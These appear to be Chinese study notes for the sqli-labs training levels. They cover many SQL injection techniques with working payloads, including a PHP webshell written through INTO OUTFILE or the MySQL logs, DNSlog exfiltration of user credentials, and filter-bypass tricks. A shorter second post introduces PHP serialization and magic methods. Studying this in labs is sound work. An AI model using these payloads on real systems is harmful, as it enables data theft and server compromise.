这串代码会以x作为主键建立临时表并统计数量（count(*)），那么就会按之前说的逻辑实现报错：

Duplicate entry '#security#1' for key 'group_key'

最后是最外层内容：

1 AND (SELECT 1 from (报错引擎) as y)

这是为了符合MySQL的语法规则：

在 MySQL 中，如果你的 FROM 后面跟的不是一个真实的表名，而是一段子查询语句 (SELECT ...)，这种被称为派生表（Derived Table）。MySQL 强制要求所有的派生表都必须拥有一个属于自己的别名。

这里还是以Less-5为例：

/?id=1' and (select 1 from (select count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //查数据库
/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+  //查表名
/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //查列名
/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //查询指定表名中的列名
/?id=1' and (select 1 from (select count(*),concat(0x23,(select concat(username,'~',password) from users limit  0,1),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //用limit绕过限制

总结下来floor报错注入模版如下：

1/*闭合符*/ and (select 1 from (select count(*),concat(0x23,(select /*查询内容*/),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+

在查询最后的内容中我用的payload为：

/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(username,'~',password) from users),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+

但是出现错误了：Subquery returns more than 1 row，原因是：

我们用concat拼接成的x太长导致内存临时表放不下，于是改用磁盘临时表，磁盘临时表的底层处理逻辑和内存表不一样，它完美免疫了rand()重复计算的那个Bug，于是磁盘临时表把数据分成了两组（尾号为0的一组，尾号为1的一组），一共2行数据。没有实现报错，而外层还有一个and逻辑运算符，它要求左右两边必须是一个单一的值（比如 True AND False）。如果右边的括号 (SELECT 1 FROM ...) 扔给它2行或更多行的数据，就会出现错误：Subquery returns more than 1 row。

# 布尔盲注

当我们改变前端页面传输给后台sql参数时，页面没有显示相应内容也没有显示报错信息时，页面呈现出两种状态，正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入，这时我们可以考虑是否为基于布尔的盲注。

以Less-8为例：

这两个页面中前一个为真页面，后一个为假页面，利用布尔盲注需要涉及新函数：

ascii()：该函数可以将字母转换为其对应的ascii码
length()：该函数可以计算字符串长度

基于这条我们构造如下payload：

/?id=1' and ascii(substring((select database()),1,1))=115 --+

通过substring()将查询到的字符串的第一个字母取出判断他的ascii码是否为115，为真就显示真页面，为假就显示假页面

再根据ascii字符对照表知道数据库名的第一个字符为s，同理：

/?id=1' and ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=115 --+//查询表名第一个字母 
/?id=1' and ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database()),1,1))>=115 --+//查询列名第一个字母
/?id=1' and ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=115 --+ //查询想要的表中第一个列名的第一个字母
/?id=1' and ascii(substring((select group_concat(username,'~',password) from users),1,1))>=115 --+ //查询想要的内容的第一个字符

# 时间盲注

时间盲注与布尔盲注差不多，如果页面不存在真页面与假页面的区别，就可以使用时间盲注，这里以Less-9为例：

可以看到没有区别，这里再次引进新的内容：

sleep(x)：延迟x秒后回显页面
if()：判断语句

if(1=1,sleep(1),sleep(3)) //如果1=1为真，那么执行sleep(1)，否则执行sleep(3)

根据这些信息，构造payload：

/?id=1' and if(1=2,sleep(1),sleep(3)) --+ //判断闭合符，如果页面延迟3s响应那就说明闭合符为’
/?id=1' and if(ascii(substring((select database()),1,1))=115,sleep(3),sleep(0)) --+ //查询数据库名的第一个字母
/?id=1' and if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=115,sleep(3),sleep(0)) --+ //查询表名的第一个字母
/?id=1' and if(ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database()),1,1))>=115,sleep(3),sleep(0)) --+ //查询列名的第一个字母
/?id=1' and if(ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() where  table_name='users'),1,1))>=115,sleep(3),sleep(0)) --+ //查询指定表名的第一个列名的第一个字母
/?id=1' and if(ascii(substring((select group_concat(userrname,'~',password) from users),1,1))>=115,sleep(3),sleep(0)) --+ //查询指定内容

这样看来一个一个字母查询未免也太麻烦了，所以需要引进一个新的工具：sqlmap

我将这个工具安装在python2目录下

python2 sqlmap.py -h

这串命令可以查看一些参数

以CTFHub技能树上的时间盲注为例：

查数据库：

python2 sqlmap.py -u "http://sql:5200/Less-9/?id=1" --dbs --batch

查表名：

python2 sqlmap.py -u "http://sql:5200/Less-9/?id=1" -D security --tables --batch

查列名：

python2 sqlmap.py -u "http://sql:5200/Less-9/?id=1" -D security --columns --batch

查指定表名中的列名：

python2 sqlmap.py -u "http://sql:5200/Less-9/?id=1" -D security -T users --columns --batch

查数据：

python2 sqlmap.py -u "http://sql:5200/Less-9/?id=1" -D security -T users --dump --batch

# SQL写马

# 利用into outfile

需要MySQL具备读写权限，并且知道一个服务器上可以写入文件的文件夹的完整路径

这里以Less-7为例：

payload为：

/?id=1')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sql\\hack.php" --+

所以如果想保持原数据格式进行输出的话，可以用dumpfile代替outfile

页面虽然会报错但是会执行，之后可以采用蚁剑连接或者直接RCE

# 利用日志文件

# 慢日志查询

set global slow_query_log=1 # 启动慢日志日志(默认禁用)
set global slow_query_log_file='<网站根目录>/hacker.php' # 修改日志文件的绝对路径和文件名
select '<?php eval($_POST['cmd']);?>' or sleep(11);

# 全局查询日志

适用于into outfile被禁止或者写入文件被拦截

show variables like '%general%'; #查看配置
set global general_log=on; # 默认关闭,开启后记录用户输入的每条命令
set global general_log_file='/var/www/html/1.php'; #设置日志地址,注意后缀是php
select '<?php eval($_POST['cmd']);?>';

# DNSlog注入

适用于无回显注入，需要介绍一个新函数：load_file()

SELECT load_file('文件的绝对路径');

load_file()是 MySQL 的内置函数，原本的作用是让数据库管理员可以方便地把服务器本地的文本文件内容，直接作为一个字符串读取到 SQL 语句中。

DNSlog带外注入是OOB的一种，需要用到UNC路径：

格式：\\servername\sharename，其中servername是服务器名，sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径，格式为 ：\\servername\sharename\directory\filename  其实我们平常在windows中用共享文件时就会用到这种网络地址的形式

需要用到的两个网站：

http://www.dnslog.cn

http://ceye.io

当我们将查询结果拼接到域名的前面，当服务器去访问这个地址的时候，我们查看DNS服务器的解析日志就可以了

以Less-9为例：

我们先在dnslog.cn中获取一个随机域名

然后我们构造如下paylaod：

/?id=0' and (select load_file(concat('\\\\',(select database()),'.3mk8yd.dnslog.cn\\test'))) --+

实际上concat的结果为：\\security.3mk8yd.dnslog.cn\test    \\为转义后的\\\\

可以看到security就被带出来了，不过Linux系统不支持UNC路径，并且DNS域名规范中只能包含字母、数字和连字符-，不能含有其他符号，否则DNS查询就会失败，不过也可以使用hex()函数，比如：

/?id=0' and (select load_file(concat('\\\\',hex((select database())),'.3mk8yd.dnslog.cn\\test'))) --+

日志中的结果就是：7365637572697479.3mk8yd.dnslog.cn

那么接下来的payload为：

/?id=0' and (select load_file(concat('\\\\',hex((select group_concat(table_name) from information_schema.tables where table_schema=database())),'.3mk8yd.dnslog.cn\\test'))) --+ //查询表名
/?id=0' and (select load_file(concat('\\\\',hex((select column_name from information_schema.columns where table_schema=database() limit 0,1)),'.3mk8yd.dnslog.cn\\test'))) --+ //查询第一个列名
/?id=0' and (select load_file(concat('\\\\',hex((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),'.3mk8yd.dnslog.cn\\test'))) --+ //查询指定表中的列
/?id=0' and (select load_file(concat('\\\\',hex((select concat(username,'-',password) from users limit 0,1)),'.3mk8yd.dnslog.cn\\test'))) --+ //limit绕过长度限制

由于DNS协议对域名长度有极其严格的物理限制，单一节点(两个.之间)最长63个字符，完整域名最长253个字符，UNC路径通常有一个MAX_PATH限制，默认是260字符，所以我们需要用到limit或者substring来限制长度

# POST提交注入

以Less-11为例：

给了我们一个类似登录的界面

随便输入一串username和password，发现POST了一段内容为：

passwd=123&submit=Submit&uname=admin

需要先查找注入点在哪

当我们把username修改为：

username=admin' or 1=1 #   //POST提交注入中注释符需要修改为#

显示登陆成功，说明注入点在username并且闭合符为'单引号

同样的接下来就是执行union联合注入：

passwd=123&submit=Submit&uname=admin' group by 2 # //判断列数
passwd=123&submit=Submit&uname=0' union select  database(),2 # //查数据库
passwd=123&submit=Submit&uname=0' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # //查表名
passwd=123&submit=Submit&uname=0' union select (select group_concat(column_name) from information_schema.columns where table_schema=database()),2 # //查列名
passwd=123&submit=Submit&uname=0' union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2 # //查询指定表中的列名
passwd=123&submit=Submit&uname=0' union select (select group_concat(username,'~',password) from users),2 # //查询指定内容

同样的，POST提交注入也能实现报错注入和盲注，也能使用 sqlmap

# HTTP头注入

页面看不到明显变化，找不到注入点时，可以尝试HTTP头注入

# UA注入

UA注入，即User-Agent注入

User-Agent，中文名为用户代理，简称UA，它是一个特殊字符串头，使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等

内容就是浏览器及版本信息，电脑信息等。

常见用途为限制打开软件，浏览器，以及上网行为管理等。

以Less-18为例：

查看源码我们发现在username和password中输入其他字符会被转义：

$uname = check_input($con1, $_POST['uname']);
$passwd = check_input($con1, $_POST['passwd']);
$uagent = $_SERVER['HTTP_USER_AGENT'];

而这样一个代码有意思：

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

首先要求登陆成功，然后可以修改$uagent的参数（没有做check_input检查），做报错注入（只能做报错注入），在插入信息时执行指令导致出错，反馈错误信息，登录后输出uagent信息包括报错信息，达到注入效果。

成功登陆之后我们能发现他告诉了我们UA是什么，我们尝试在里面加上一些注入语句

' or extractvalue(1,concat(0x7e,database())) or ' //查数据库
' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) or ' //查表名
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()))) or ' //查列名
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) or ' //查询指定表中的列
' or extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1))) or ' //查询想要的内容并用limit绕过长度限制

当我们把构造的UA传入后（如果用and连接），代码变成了：

INSERT INTO logs (ip, user_agent, time) VALUES ('127.0.0.1', '' and extractvalue(...) and '', '2026-02-21');

由于''表示False，用and连接一整串都是False，程序就不会往后执行，所以需要用or来代替and

# Referer注入

这里以Less-19为例：

与UA注入差不多：

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

所以只需要把UA注入里面的payload放在Referer里面就行了

# Cookie注入

这关以Less-20为例：

查看源码我们发现：

$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

我们尝试将cookie修改为

uname=Dumb' and 1=2 #

成功造成了错误界面，我们继续尝试使用union联合注入内容：

uname=Dumb' order by 3 # //判断列数
uname=0' union select 1,(select database()),2 # //数据库 
uname=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # //表名
uname=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),2 # //列名
uname=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),2 # //获取指定表中的列名
uname=0' union select 1,(select group_concat(username,0x7e,password) from users),2 # //获取指定数据

# 堆叠注入

堆叠注入就是用分号间隔命令，导致攻击者可以执行增删查改等操作

以Less-39为例：

本关为数字型注入，不需要闭合符，直接展示增加用户信息、删除用户信息的操作：

/?id=520;insert into users(id,username,password)values(520,'ZLARYY1','zlaryy') --+ //增加

/?id=520;update users set password=123456 where username='ZLARYY1'  --+ //更改

/?id=520;delete from users where username='ZLARYY1'--+ //删除

# 二次注入

当用户提交的恶意数据被存入数据库后，应用程序再把它读取出来用于生成新的SQL语句时，如果没有相应的安全措施，是有可能发生SQL注入的，这种注入就叫做二次注入，也叫做存储型SQL注入，下面来演示一下二次注入

二次注入的原理，在第一次进行数据库插入数据的时候，使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义，但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义，但是“\”并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。
比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，就形成了二次注入。
二次注入，可以概括为以下两步:

第一步：插入恶意数据
进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。
第二步：引用恶意数据
开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。

以Less-24为例：

$username= $_SESSION["username"];
$curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
$pass= mysqli_real_escape_string($con1, $_POST['password']);
$re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);	
 
if($pass==$re_pass)
{	
	$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
}

只有username没有被转义

我们需要先注册一个admin'#的用户，密码就随便设一个123吧，然后登录进去

现在给了我们一个更改密码的界面，现在我们更改密码的语句就变成了：

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

后面的校验current_password被注释掉了，所以我们现在更改的是admin用户的密码，并且不需要知道admin用户的原始密码是什么，这里我们将admin用户的密码修改为zlaryy

显示：

Password successfully updated

之后我们尝试登录admin用户

成功登录

# 无列名注入

# join、using

无列名注入主要适用于column关键字被过滤的情况，这里学习两个新的内容：

join：用于合并两张表
using：表示使用什么字段进行连接

在SQL语法中，当你把两张表JOIN（连接）在一起，并且使用 SELECT * 查询时，MySQL 会把两张表的所有列都拼接在一起生成一张新表。但是由于一张表里不允许出现相同的列名，所以如果我们使用两张相同的表拼接在一起，就会报重复列名错误：Duplicate column name 'id'

以Less-1为例：

在通过union查询得到数据库名表名之后，我们通过无列名注入查询users表中的所有列名：

/?id=1' union select * from (select * from users as a join users as b)as c --+

//或者不使用union
/?id=1' and (select * from (select * from users as a join users as b)as c)--+

那么为什么需要最外层的select * from xxxxx as c呢？

这是由于只执行select * from users as a join users as b是不会导致列名重复报错的，这段代码结果只是将两个表拼接在一起返回一个结果集，但是我们需要的报错点在于一张表内重复出现相同列名，这段代码返回的并不是一张表，所以需要最外层有一个as c建立一张派生表，将这个结果集输入进去导致重复列名报错

这样我们成功获得了第一个重复的列名，接下来我希望获得其他重复列名，就需要用到using关键字了

/?id=1' and (select * from (select * from users as a join users as b using(id))as c)--+ //获得username列名

这里using意思就类似于如果遇到与id同名的列就把他们合并为一个而不报错

/?id=1' and (select * from (select * from users as a join users as b using(id,username))as c)--+ //获得password列名

这样我们就获得了users表中所有的列名，最后只需要union联合注入查询就可以了

# 子查询

子查询也是无列名注入的一种，可以不使用join和using，具体原理：

在MySQL中，如果用UNION联合两句SELECT查询，最终合并出来的表的列名，是由第一句SELECT决定的。

比如：

SELECT 1, 2, 3 UNION SELECT * FROM users;

MySQL 会在内存里拼出一张“虚拟表”。因为第一句是 SELECT 1, 2, 3，所以这张虚拟表的表头，被硬生生改成了数字 1,2,3，第二行开始才是users表里的数据

接下来是查询数据的payload：

/?id=0' union select 1,(select `2` from (select 1,2,3 union select * from users)as a limit 1,1),3 --+

select `2`意思是查询列名为2的数据，再用limit限制输出第几行的内容

当然我们也可以将查询的几个列合并输出：

/?id=0' union select 1,(select concat(`2`,'~',`3`) from (select 1,2,3 union select * from users)as a limit 1,1),3 --+

# 宽字节注入

宽字节注入通常用在使用addslashes()函数等可以对输入字符进行转义的地方，且数据库得是GBK编码

以Less-33为例：

当我们传入/?id=1'时，下方的hint会告诉我们我们输入的内容变成了1\'

那么我们就可以使用%df将\（URL编码为%5c）合并，变成%df%5c（解码之后为一个汉字），后面再加上 '就可以成功绕过转义符了：

/?id=0%df' union select 1,(select database()),3 --+ //查数据库
/?id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+ //查表名
/?id=0%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),3 --+ //查列名
/?id=0%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3 --+ //采用十六进制绕过table_name='users'中的单引号
/?id=0%df' union select 1,(select group_concat(username,0x7e,password) from users),3 --+ //查询指定内容

# 绕过过滤

# 注释符过滤

如果不能使用--+，#，%23，那么我们可以使用闭合符将原始的闭合符给再次闭合掉，比如：

/?id=1' and '1'='1

这样查询语句就变成了：

$sql="SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1";

同理还有：

/?id=1" and "1"="1
/?id=1') and ('1')=('1
/?id=1") and ("1")=("1

# and和or过滤

使用大小写绕过：
```
and->And or->oR
```
双写绕过（应对遇到过滤字符将其删除的情况）：
```
and->anandd删除后变为and or->oorr删除后变为or
```
用&&取代and，用||代替or，适用于and和or作为逻辑运算符的时候

# 空格过滤

用+代替空格

用其他字符的URL编码：

空格：%20
TAB制表符：%09
换行符(\n)：%0A
回车符(\r)：%0D
换页符：%0C
垂直制表符：%0B
不换行空格(MySQL only)：%A0

# union和select过滤

大小写绕过：
```
UnioN SElect
```
复写单词绕过：
```
uniunionon selselectect
```
尝试URL编码绕过
Less-28中有一种过滤相连的union select，可以用union%A0select绕过
使用报错注入

# 逗号过滤

使用OFFSET绕过limit的逗号：

不过使用limit...offset...语法为：

limit 返回的数量 offset 跳过的行数
所以limit 0,1用offset表示为limit 1 offset 0

使用FROM...FOR...绕过substring，mid的逗号：

substring(database(),1,31) -> substring(database() from 1 for 31)

使用join绕过union select的逗号：

union select 1,2,3 ->
union select * from (select 1)a join (select 2)b join (select 3)c
//创造别名分别为a,b,c的表并用join拼接

使用case when ... then ... else ... end绕过if语句中的逗号：
```
if(1=1,sleep(3),0) ->
case when 1=1 then sleep(3) else 0 end
```

# 等号过滤

使用LIKE代替：

1=1 -> 1 LIKE 1

php反序列化

2026-02-16T04:00:00.000Z

# php反序列化

# php序列化：

# 序列化字符串：

在学习反序列化之前需要了解什么是php序列化：

序列化是将对象转化为可存储或传输的字符串格式的过程。在php中，可以使用serialize()函数将对象，数组或其它数据类型序列化称为一个字符串，以便将其保存到文件或者进行网络传输。

通过以下代码，我们可以实现将一个对象序列化操作并输出序列化字符串：

<?php
Class ZLARYY{
    public $xiexie = 2;
    public $Chesmond  = "L47yY";
    public $Arach = true;

    function ECH(){
        return "ZLARYY!!!";
    }
}
$ZL47yY = new ZLARYY();
$serialized = serialize($ZL47yY);
print_r($serialized);

注意输出序列化字符串只能使用var_dump或者print_r，不能使用echo

我们能看到代码执行结果为：

O:6:"ZLARYY":3:{s:6:"xiexie";i:2;s:8:"Chesmond";s:5:"L47yY";s:5:"Arach";b:1;}

接下来我们分析一下这串序列化字符串的结构：

O:6:"ZLARYY":3:
O：代表 Object（对象）
6：代表类名的长度（"ZLARYY" 是 6 个字符）
"ZLARYY"：类名
3：代表该对象包含 3 个属性

//内部数据以第一个属性为例

s:6:"xiexie";i:2;
Key (属性名): s:6:"xiexie"
s：代表 String（字符串）
6：字符串长度
"xiexie"：具体的属性名

Value (属性值): i:2;
i:Int(整数)
2：具体的属性值

属性类型除了第一个的int之外还有string字符串以及bool布尔类型

s:5:"L47yY";
s:String(字符串)
5:属性值的长度
"L47yY":具体的属性值

b:1;
b:Bool(布尔型)
1:true

可以看到序列化字符串中并不包含我们的ECH方法

# 类的继承

我们还可以使用extends继承类，子类可以继承父类的属性和方法比如：

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $age = 18;
    public $sex;

    function Doing(){
        echo "Studying";
    }
}
class Arach extends ZLARYY{
    public $private;
}
$a = new Arach;
$a->age = 19;
$a->sex = "man";
$a->Doing();
echo "</br>";
echo $a->age;

在Arach类中，我们没有定义age属性和Doing方法，却能实现调用，这就是类的继承

# 访问修饰符：

访问修饰符（Access Modifiers）是面向对象编程中用于控制类、方法、变量等成员访问权限的关键字。它们定义了代码的可见性，通过封装实现信息隐藏，防止不当的外部访问，保护数据的安全性。主要的访问级别包括公开（public）、私有（private）和受保护（protected）

由图可以看到，public无论在哪里都可以访问，protected只有在类中和子类中可以访问，private只可以在类中调用。

<?php
highlight_file(__FILE__);
class ZLARYY{
    public $age = 18;
    protected $sex;

    function Doing(){
        echo "Studying";
    }
}
class Arach extends ZLARYY{
    public $private;
}
$a = new Arach;
$a->age = 19;
$a->sex = "man";
$a->Doing();
echo "</br>";
echo $a->age;

当我们把父类的sex属性更改为protected之后在类外使用echo调用会出现如下报错：

Fatal error: Cannot access protected property Arach::$sex in D:\phpstudy_pro\WWW\exercise.php on line 16

显示无法访问，原因是我们在类的外对Arach继承ZLARYY类的sex做了赋值，同理private属性更加严格

但如果我们在子类的内部进行调用就不会报错了：

那么不同的访问修饰符在序列化之后的字符串会不会有什么变化？

<?php
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function ECH(){
        return "ZLARYY!!!";
    }
}
$ZL47yY = new ZLARYY();
$serialized = serialize($ZL47yY);
print_r($serialized);

以这串代码为例，输出的序列化字符串为：

O:6:"ZLARYY":3:{s:6:"xiexie";i:2;s:11:"*Chesmond";s:5:"L47yY";s:13:"ZLARYYArach";b:1;}

直接输出貌似还差了一点内容，我们对输出内容进行一下URL编码：

O%3A6%3A%22ZLARYY%22%3A3%3A%7Bs%3A6%3A%22xiexie%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00Chesmond%22%3Bs%3A5%3A%22L47yY%22%3Bs%3A13%3A%22%00ZLARYY%00Arach%22%3Bb%3A1%3B%7D

值得注意的是：

%00%2A%00Chesmond //protected属性序列化字符串会在属性名前面加上%00*%00
%00ZLARYY%00Arach //private属性序列化字符串格式为：%00类型名%00属性名

# 魔术方法：

PHP魔术方法（Magic Methods）是一组特殊的方法，它们在特定的情况下会被自动调用，用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾，例如: __construct()、__toString()等。

魔术方法可以帮助我们实现一些特殊的行为，例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法，我们可以增强PHP对象的灵活性和功能性。

魔术方法是构造POP链的重点，尤其掌握各种魔术方法的触发时机

# __construct()：

类的构造函数，在类实例化对象时自动调用构造函数

<?php
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __construct(){
        echo "ZLARYY!!!";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

通过这串代码执行的结果我们能直观地看到__construct方法在第几行触发

可见，__construct方法在对象生成时，也就是new的时候就触发了

同时，如果我们给__construct带上一个参数，那么他也能实现赋值操作：

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __construct($name){
        echo $this->name = $name;
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY("2l47yY");
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

# __destruct()：

类的析构函数，在对象销毁之前自动调用析构函数，或者说脚本执行结束，unset时会调用

//第一种：脚本执行结束
<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __destruct(){
        echo "ZLARYY!!!";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

//第二种：使用unset销毁对象
<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __destruct(){
        echo "ZLARYY!!!";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
unset($ZL47yY);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

对象都没有了序列化字符串当然是N(NULL)咯

//第三种情况：使用了unserialize()方法
<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __destruct(){
        echo "ZLARYY!!!";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
unserialize(serialize($ZL47yY));
echo "</br>now?";
echo "</br>now?";
echo "</br>now?";
echo "</br>now?";
echo "</br>now?";

不难看出，输出第一个ZLARYY!是由于触发了unserialize()，而第二个ZLARYY!是由于脚本执行结束

# __wakeup()：

在对象被反序列化（使用 unserialize() 函数）之前自动调用，可以在此方法中重新初始化对象状态。

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __wakeup(){
        echo "</br>ZLARYY!!!";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$b=unserialize($serialized);
echo "</br>now?";

这就很厉害了，刚好在unserialize调用的前一行触发，那也就说明wakeup触发时机在construct之后

# __sleep()：

在对象被序列化（使用 serialize() 函数）之前自动调用，可以在此方法中指定需要被序列化的属性，返回一个包含对象中所有应被序列化的变量名称的数组

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __sleep(){
        echo "</br>ZLARYY!!!";
        //这里我指定序列化xiexie属性
        return array('xiexie');
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$b=unserialize($serialized);
echo "</br>now?";

看结果，与wakeup差不多刚好在serialize调用的前一行触发，同时也的确只序列化了xiexie属性

# __toString()：

当对象被当做字符串调用，会触发__toString()

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __toString(){
        echo "</br>ZLARYY!!!";
        return "return is essential";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
echo $ZL47yY;
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

这里如果我们不设置一个返回值的话结果是这样的：

# __invoke():

当将一个对象作为函数进行调用时自动调用

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function __invoke(){
        echo "</br>ZLARYY!!!";
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
echo $ZL47yY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

也可以这么做(赋值处理)：

# __call()：

调用不存在或不可见的成员方法时，PHP会先调用__call()方法来存储方法名及其参数

需要注意的是，__call()方法中必须存在两个参数 $method和$ args，否则会报错：

Fatal error: Method ZLARYY::__call() must take exactly 2 arguments in D:\phpstudy_pro\WWW\exercise.php on line 14

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function FLAG(){
        echo "flag is ZLARYY{2L47yY}";
    }

    function __call($method,$args){
        echo "i don't have ".$this->method=$method." this method</br>";
        echo "ZLARYY!!!";
        var_dump($args);
    }
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$ZL47yY->flag1("i","need","flag");

$method用来存放那个不存在的方法名称，$ args存放不存在的方法中用户给的参数包装为一个数组

# __callStatic()：

当尝试调用一个不存在或不可访问（private/protected）的静态方法时触发：

与 __call() 的区别：

__call(): 处理对象实例的方法调用（例如 $obj->method()）。
__callStatic(): 处理类的静态方法调用（例如 Class::method()）。

<?php
highlight_file(__FILE__);
Class ZLARYY{
    public $xiexie = 2;
    protected $Chesmond  = "L47yY";
    private $Arach = true;

    function FLAG(){
        echo "flag is ZLARYY{2L47yY}";
    }

    function __callStatic($method,$args){
        echo "i don't have ".$method." this method</br>";
        echo "ZLARYY!!!";
        var_dump($args);
    }
}
echo "</br>now?";
ZLARYY::flag1("i");

# __set()：

当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用，传递属性名和属性值作为参数，可用于将数据写入不可访问的属性

